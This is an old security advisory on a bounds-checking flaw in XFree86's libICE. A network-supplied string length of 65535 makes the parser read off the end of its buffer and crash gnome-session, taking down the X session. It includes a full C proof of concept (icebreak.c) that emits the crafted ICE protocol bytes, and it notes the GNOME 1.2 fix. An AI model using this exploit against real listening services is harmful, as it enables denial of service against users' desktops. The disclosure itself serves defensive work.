COMMAND

    libICE

SYSTEMS AFFECTED

    XFree86: libICE

PROBLEM

    Chris Evans found  following.  Due  to inadequate bounds  checking
    in libICE, a denial of  service exists with any application  using
    inet listening libICE for network services.  Unfortunately,  there
    is a fairly prominent user  of libICE, namely gnome-session.   The
    misfortune deepens when we realize that when gnome-session gets  a
    SIGSEGV, the entire X session tends to exit (after the user clicks
    OK in the crash dialog).

    libICE is, in general, pretty careful with untrusted network data.
    However, there  is a  macro, SKIP_STRING,  which is  used to  jump
    over  a  string  in  the  input  stream.  SKIP_STRING will read an
    unsigned short variable from the network, and then jump forward in
    the input buffer by that  amount. A value of "65535",  USHORT_MAX,
    is adequate to  leave a pointer  dangling into oblivion  and cause
    SEGV due to read of unmapped memory.

    1) There was  always likely to  be a bug  in libICE; the  protocol
       suffers from  the classic  flaw of  having a  lot of  chit-chat
       before any authentication is attempted.

    2) Chris has  in no way  performed a thorough  audit of the  code.
       This  was  the  first  issue  he  encountered,  then he stopped
       looking.   Anyone using  libICE in  a situation  where security
       matters, should  be wary.   There is  potential for  worse than
       DoS.

    3) Chris investiagted  and discovered this  because of GNOME.   He
       was pretty  unimpressed to  discoverer a  desktop aimed  at the
       classic  "end-user"  listening  on  TCP  sockets in the default
       configuration.  libICE is one  half of the story, libORBit  the
       other half.

    /* icebreak.c - Chris Evans */
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    int
    main(int argc, const char* argv[])
    {
      unsigned char c;
      unsigned int i;
      unsigned short s;
      char blankbuf[1000];
    
      memset(blankbuf, '\0', sizeof(blankbuf));
    
      /* Assume fd 1 is stdout */
    
      /* ICE connection header */
      /* First, pick an endian-ness */
      /* Byte 1: Major opcode. Must be 0 */
      c = 0;
      write(1, &c, 1);
      /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
      c = 1;
      write(1, &c, 1);
      /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
      c = 0;
      write(1, &c, 1);
      /* Byte 4: Unused. Write 0 */
      c = 0;
      write(1, &c, 1);
      /* Bytes 5-8: integer length. Must be zero for byte-order message. */
      i = 0;
      write(1, &i, 4);
    
      /* Next message - ICE_ConnectionSetup */
      /* Byte 1: Major opcode. 0 for core ICE protocol message */
      c = 0;
      write(1, &c, 1);
      /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
      c = 2;
      write(1, &c, 1);
      /* Bytes 3, 4: versionCount & authCount */
      c = 255;
      write(1, &c, 1);
      write(1, &c, 1);
      /* Bytes 5-8, int length. Must be at least 8 */
      i = 8;
      write(1, &i, 4);
      /* Now, bytes are part of iceConnectionSetupMsg */
      /* This is an extra 8 bytes */
      /* Byte 1: "must authenticate" */
      c = 0;
      write(1, &c, 1);
      /* Bytes 2-8: unused */
      write(1, blankbuf, 7);
    
      /* Now we're writing into the malloc'ed message data space */
      /* First, a string. Give it's 16bit length a big value to get ICE code
       * to iterate off the end of the buffer
       */
      s = 65535;
      write(1, &s, 2);
    
      /* And some blank to get the (total) 56 char data read finished */
      write(1, blankbuf, 54);
    }

SOLUTION

    The  GNOME  team  have  released  GNOME-1.2  which ensures that no
    libICE services are  exposed via TCP  listening sockets.   All the
    libICE communication in GNOME-1.2  is done over user-private  UNIX
    domain sockets.